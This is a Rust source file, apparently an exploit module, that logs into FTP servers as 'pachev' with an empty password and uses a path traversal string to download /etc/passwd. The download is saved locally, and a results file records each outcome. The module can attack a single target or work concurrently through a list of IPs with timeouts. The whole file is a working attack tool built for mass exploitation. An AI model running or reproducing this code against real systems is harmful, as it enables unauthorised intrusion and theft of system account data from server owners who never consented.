use anyhow::{anyhow, Result};
use ftp::FtpStream;
use std::net::ToSocketAddrs;
use std::fs::{File, OpenOptions};
use std::io::{self, copy, BufRead, BufReader, Write};
use std::path::Path;
use tokio::task;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::*; // // Colorful output
use std::time::Duration;
use tokio::time::timeout;

const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
const FTP_TIMEOUT_SECONDS: u64 = 10;    // // Timeout per FTP connection

// // Format IPv4 or IPv6 address with port (handles multiple layers of brackets)
fn format_addr(target: &str, port: u16) -> String {
    let mut clean = target.trim().to_string();

    while clean.starts_with('[') && clean.ends_with(']') {
        clean = clean[1..clean.len() - 1].to_string();
    }

    if clean.contains(':') {
        format!("[{}]:{}", clean, port)
    } else {
        format!("{}:{}", clean, port)
    }
}

// // Actual FTP path traversal exploit
fn exploit_target(target: String, port: u16) -> Result<String> {
    let addr = format_addr(&target, port);

    println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());

    // Resolve address with better error handling
    let socket_addr = addr.to_socket_addrs()?
        .next()
        .ok_or_else(|| anyhow!("Failed to resolve address: {}", addr))?;
    
    let mut ftp = FtpStream::connect(socket_addr)
        .map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;

    ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
    println!("{}", "[+] Logged in successfully as 'pachev'.".green());

    println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());

    let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
        .map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
        .into_inner();
    let mut reader = std::io::Cursor::new(reader);

    let safe_name = target.replace(['[', ']', ':'], "_");
    let out_file = format!("{}_passwd.txt", safe_name);
    let mut file = File::create(&out_file)?;
    copy(&mut reader, &mut file)?;

    ftp.quit().ok();

    println!("{}", format!("[+] File saved as {}", out_file).green());

    Ok(format!("{} SUCCESS", target))
}

// // Save result line into `results.txt`
fn save_result(line: &str) -> Result<()> {
    let mut file = OpenOptions::new()
        .create(true)
        .append(true)
        .open("results.txt")?;

    writeln!(file, "{}", line)?;
    Ok(())
}

// // Public auto-dispatch entry point
pub async fn run(target: &str) -> Result<()> {
    let target = target.to_string(); // // Own target early to avoid lifetime issues

    print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
    io::stdout().flush()?;
    let mut port_input = String::new();
    io::stdin().read_line(&mut port_input)?;
    let port_input = port_input.trim();
    let port = if port_input.is_empty() {
        21
    } else {
        port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number: {}", port_input))?
    };

    print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
    io::stdout().flush()?;
    let mut use_list = String::new();
    io::stdin().read_line(&mut use_list)?;
    let use_list = use_list.trim().to_lowercase();

    if use_list == "yes" || use_list == "y" {
        print!("{}", "Enter path to the IP list file: ".cyan().bold());
        io::stdout().flush()?;
        let mut path = String::new();
        io::stdin().read_line(&mut path)?;
        let path = path.trim();

        if !Path::new(path).exists() {
            return Err(anyhow!("List file does not exist: {}", path));
        }

        let file = File::open(path)?;
        let reader = BufReader::new(file);

        let semaphore = std::sync::Arc::new(Semaphore::new(MAX_CONCURRENT_TASKS));
        let mut futures = FuturesUnordered::new();

        for line_result in reader.lines() {
            match line_result {
                Ok(ip) => {
                    let ip = ip.trim();
                    if ip.is_empty() {
                        continue;
                    }
                    let ip_owned = ip.to_string();
                    let ip_for_errors = ip_owned.clone(); // Clone for error messages
                    let port = port;
                    let permit = semaphore.clone().acquire_owned().await?;

                    println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow());

                    futures.push(tokio::spawn(async move {
                        let _permit = permit; // // Hold permit alive
                        let ip_for_errors = ip_for_errors.clone(); // Clone for error messages in closure
                        let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port));

                        match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
                            Ok(Ok(Ok(success))) => {
                                println!("{}", format!("[+] Success: {}", success).green().bold());
                                let _ = save_result(&success);
                            }
                            Ok(Ok(Err(e))) => {
                                println!("{}", format!("[-] Exploit error for {}: {}", ip_for_errors, e).red());
                                let _ = save_result(&format!("{} FAIL: {}", ip_for_errors, e));
                            }
                            Ok(Err(e)) => {
                                println!("{}", format!("[-] Join error for {}: {}", ip_for_errors, e).red());
                                let _ = save_result(&format!("{} FAIL: Join error {}", ip_for_errors, e));
                            }
                            Err(_) => {
                                println!("{}", format!("[-] Timeout while exploiting {} ({}s)", ip_for_errors, FTP_TIMEOUT_SECONDS).yellow());
                                let _ = save_result(&format!("{} TIMEOUT", ip_for_errors));
                            }
                        }

                        Ok::<(), anyhow::Error>(())
                    }));
                }
                Err(e) => {
                    println!("{}", format!("[!] Failed to read line: {}", e).red());
                }
            }
        }

        // // Wait for all tasks to complete
        while let Some(res) = futures.next().await {
            if let Err(e) = res {
                println!("{}", format!("[!] Task error: {}", e).red());
            }
        }
    } else {
        // // Single target mode
        let target_owned = target.to_string();
        let port = port;

        println!("{}", format!("[*] Exploiting single target: {}:{}", target, port).yellow());
        let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port));
        match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
            Ok(Ok(Ok(success))) => {
                println!("{}", format!("[+] Success: {}", success).green().bold());
                let _ = save_result(&success);
            }
            Ok(Ok(Err(e))) => {
                println!("{}", format!("[-] Exploit error: {}", e).red());
                let _ = save_result(&format!("{} FAIL: {}", target, e));
            }
            Ok(Err(e)) => {
                println!("{}", format!("[-] Join error: {}", e).red());
                let _ = save_result(&format!("{} FAIL: Join error {}", target, e));
            }
            Err(_) => {
                println!("{}", format!("[-] Timeout while exploiting {} ({}s)", target, FTP_TIMEOUT_SECONDS).yellow());
                let _ = save_result(&format!("{} TIMEOUT", target));
            }
        }
    }

    Ok(())
}
